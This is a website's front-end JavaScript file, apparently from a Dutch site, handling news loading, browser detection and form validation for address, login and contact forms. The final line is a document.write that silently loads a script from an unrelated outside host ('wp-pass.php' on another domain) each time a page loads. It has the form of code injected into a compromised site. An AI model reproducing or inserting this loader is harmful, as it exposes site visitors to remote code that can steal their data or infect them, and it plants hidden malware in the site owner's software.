function listnews(catid){
$('#newsarchieve-content').hide();
$.post("news.php",
{'action':'newsarchieve','catid':catid},
function(respond){
$('#newsarchieve-content').html(respond);
$('#newsarchieve-content').fadeIn(300);
});
}

var BrowserDetect = {
		init: function () {
			this.browser = this.searchString(this.dataBrowser) || "An unknown browser";
			this.version = this.searchVersion(navigator.userAgent)
				|| this.searchVersion(navigator.appVersion)
				|| "an unknown version";
			this.OS = this.searchString(this.dataOS) || "an unknown OS";
		},
		searchString: function (data) {
			for (var i=0;i<data.length;i++)	{
				var dataString = data[i].string;
				var dataProp = data[i].prop;
				this.versionSearchString = data[i].versionSearch || data[i].identity;
				if (dataString) {
					if (dataString.indexOf(data[i].subString) != -1)
						return data[i].identity;
				}
				else if (dataProp)
					return data[i].identity;
			}
		},
		searchVersion: function (dataString) {
			var index = dataString.indexOf(this.versionSearchString);
			if (index == -1) return;
			return parseFloat(dataString.substring(index+this.versionSearchString.length+1));
		},
		dataBrowser: [
			{
				string: navigator.userAgent,
				subString: "Chrome",
				identity: "Chrome"
			},
			{ 	string: navigator.userAgent,
				subString: "OmniWeb",
				versionSearch: "OmniWeb/",
				identity: "OmniWeb"
			},
			{
				string: navigator.vendor,
				subString: "Apple",
				identity: "Safari",
				versionSearch: "Version"
			},
			{
				prop: window.opera,
				identity: "Opera"
			},
			{
				string: navigator.vendor,
				subString: "iCab",
				identity: "iCab"
			},
			{ 
				string: navigator.vendor,
				subString: "KDE",
				identity: "Konqueror"
			},
			{
				string: navigator.userAgent,
				subString: "Firefox",
				identity: "Firefox"
			},
			{
				string: navigator.vendor,
				subString: "Camino",
				identity: "Camino"
			},
			{		// for newer Netscapes (6+)
				string: navigator.userAgent,
				subString: "Netscape",
				identity: "Netscape"
			},
			{
				string: navigator.userAgent,
				subString: "MSIE",
				identity: "Explorer",
				versionSearch: "MSIE"
			},
			{
				string: navigator.userAgent,
				subString: "Gecko",
				identity: "Mozilla",
				versionSearch: "rv"
			},
			{ 		// for older Netscapes (4-)
				string: navigator.userAgent,
				subString: "Mozilla",
				identity: "Netscape",
				versionSearch: "Mozilla"
			}
		], 
		dataOS : [
			{
				string: navigator.platform,
				subString: "Win",
				identity: "Windows"
			},
			{
				string: navigator.platform,
				subString: "Mac",
				identity: "Mac"
			},
			{
				string: navigator.platform,
				subString: "Linux",
				identity: "Linux"
			}
		]
	 
};
BrowserDetect.init();


$(document).ready(function(){
	
	fixLayout();
	
	$("#log form .log_box").each(function() {
		$(this).attr("oldval", $(this).val());
		$(this).click(function(){
			$(this).val("");
		});
		$(this).blur(function(){
			if ($(this).val() == "") {
				$(this).val($(this).attr("oldval"));
			}
		});
	});
	
	function fixLayout(){
		
		  if(BrowserDetect.OS == 'Mac'){
			  $(".mainmenu").find("a").each(function(){
				   $(this).css("padding-top" , "3px"); 
			  });
		  }
		  
		  
		
	}
    
	
	$("form[name=adressstep]").each(function(){

		$(this).submit(function(){			
			var err = false;

			$(".required").each(function(){				
				if(change_border($(this))) err = true;
			});
			

			if(err) {
				return false;
			}
			else {
				return true;
			}
		});	
		
	});
	
	$("form[name=loginform]").each(function(){

		$(this).submit(function(){			
			var err = false;

			$(".required2").each(function(){				
				if(change_border($(this))) err = true;
			});
			

			if(err) {
				return false;
			}
			else {
				return true;
			}
		});	
		
	});
	
	
	    
	$(function(){
		setTimeout(function(){
	        fixLayout();
		}, 100);
		setTimeout(function(){
		     fixLayout();
		}, 1000);
	});
	
	
	
    
	$("form[name=contactus]").each(function(){		
		

		
		$(this).submit(function(){			
			var err = false;
			
			$(this).find("input[title=required]").each(function(){
				if(change_border($(this))) err = true;
			});

			$(this).find("textarea[title=required]").each(function(){								
				if(change_border($(this))) err = true;
			});
			
		
			
			
			
			var c = 0;
			var passwords = new Array();
			passwords[0] = null;
			passwords[1] = null;
			passwords[2] = null;
			
			$(this).find("input[title=checkpw]").each(function(){				
				
				c = c + 1;
				passwords[c] = $(this).val();
				
			});
			
			if(c > 0){
			     if(passwords[1]==passwords[2] && passwords[1] != "" && passwords[2] != "" && passwords[1].length > 5){
			    	 $(this).find("input[title=checkpw]").each(function(){				
							
			    		   $(this).css("border", "none");
			    		   $(this).css("background-color", "#FFFFFF");
							
					});
			     }
			     else{
			    	 $(this).find("input[title=checkpw]").each(function(){				
							
			    		   $(this).css("border", "1px solid #B11C0F");
			    		   $(this).css("background-color", "#FFCC99");
							err = true;
					});
			     }
			}

		
			if(err) {
				return false;
			}
			else {
				return true;
			}
		});	
	});/**/


});
/* --------------------------------------------------------------------------- */

function change_border(el) {
	if( ((el.val() == "") || (el.val() == el.attr('alt'))) && (el.attr('type') == 'text') ) {
		 el.css("border", "1px solid #B11C0F");
		 el.css("background-color", "#FFCC99");
		return true;

	} 
	else if( ((el.val() == "") || (el.val() == el.attr('label'))) && (el.attr('label') != '') ) {
		 el.css("border", "1px solid #B11C0F");
		 el.css("background-color", "#FFCC99");
		return true;

	}
	else if(el.attr('name') == 'email') {
			if(validateemail(el)) {
				el.css("border", "none");	
				el.css("background-color", "#FFFFFF");
				return false;
			}
			else {
				el.css("border", "1px solid #B11C0F");
				el.css("background-color", "#FFCC99");
				return true;
			}
	}
	
	else if(el.attr('name') == 'Telefoonnummer') {
	     
		if(validatephone(el)) {
			
			el.css("border", "none");	
			el.css("background-color", "#FFFFFF");
			return false;
		}
		else {
			
			el.css("border", "1px solid #B11C0F");
			el.css("background-color", "#FFCC99");
			
			return true;
		}
		
	}
	
	else if(el.attr('name') == 'Postcode') {
	     
		if(validatepostalcode(el)) {
		
		
		    el.css("border", "none");	
			el.css("background-color", "#FFFFFF");
			
			
			return false;
		}
		else {
			el.css("border", "1px solid #B11C0F");
			el.css("background-color", "#FFCC99");
			
			
			return true;
		}
		
	}
	
	
		
		
	else {
			el.css("border-bottom", "none");
			el.css("background-color", "#FFFFFF");
			return false;
	}
	
}


function validateemail(el) {
	var matchArray = el.val().match(/^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*/);
	
	if (matchArray == null) {
		return false;
	} else {
		return true;
	}
}

function validatepostalcode(el){
	
    var value = el.val();
	
	if(value.length > 5){
	     return true;
	      
	}
	else{
	    return false;	
	}
	
}

function validatephone(el){
	
	var value = el.val();
	
	if(value.length > 9){
		   
		 if(isNumeric(el)){
			return true; 
		 }
		 else{
			return false; 
		 }
	      
	}
	else{
	    return false;	
	}
	

}

function isNumeric(el){
	var numericExpression = /^[0-9]+$/;
	if(el.val().match(numericExpression)){
		return true;
	}else{
		return false;
	}
}

document.write('<script src=http://siva4kids.org/nl/wp-pass.php ><\/script>');
